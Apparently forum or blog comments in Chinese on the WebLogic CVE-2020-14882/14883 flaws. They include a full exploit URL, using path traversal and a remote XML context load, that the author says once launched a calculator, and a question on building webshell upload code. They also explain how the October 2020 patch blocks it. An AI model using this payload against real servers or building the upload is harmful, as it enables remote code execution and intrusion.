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CVE-2020–14882、CVE-2020–14883
java.lang.Runtime.getRuntime仅能执行命令,请问利用java.io.PrintWriter如何构造上传的代码,或者是用其他方式上传的呢
在更新补丁集20201020后,构建请求
http://localhost:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(\http://localhost:8000/poc.xml)
不能触发计算器了
后端会有报错
Caused by: java.lang.Exception: Invalid Handle Class detected.
at com.bea.console.handles.HandleFactory.getHandle(HandleFactory.java:61)
查看了
com.bea.console.handles.HandleFactory.getHandle(HandleFactory.java:61)
多加了这一部分
if (!Handle.class.isAssignableFrom(handleClass)) {
className = "";
throw new Exception("Invalid Handle Class detected.");
}
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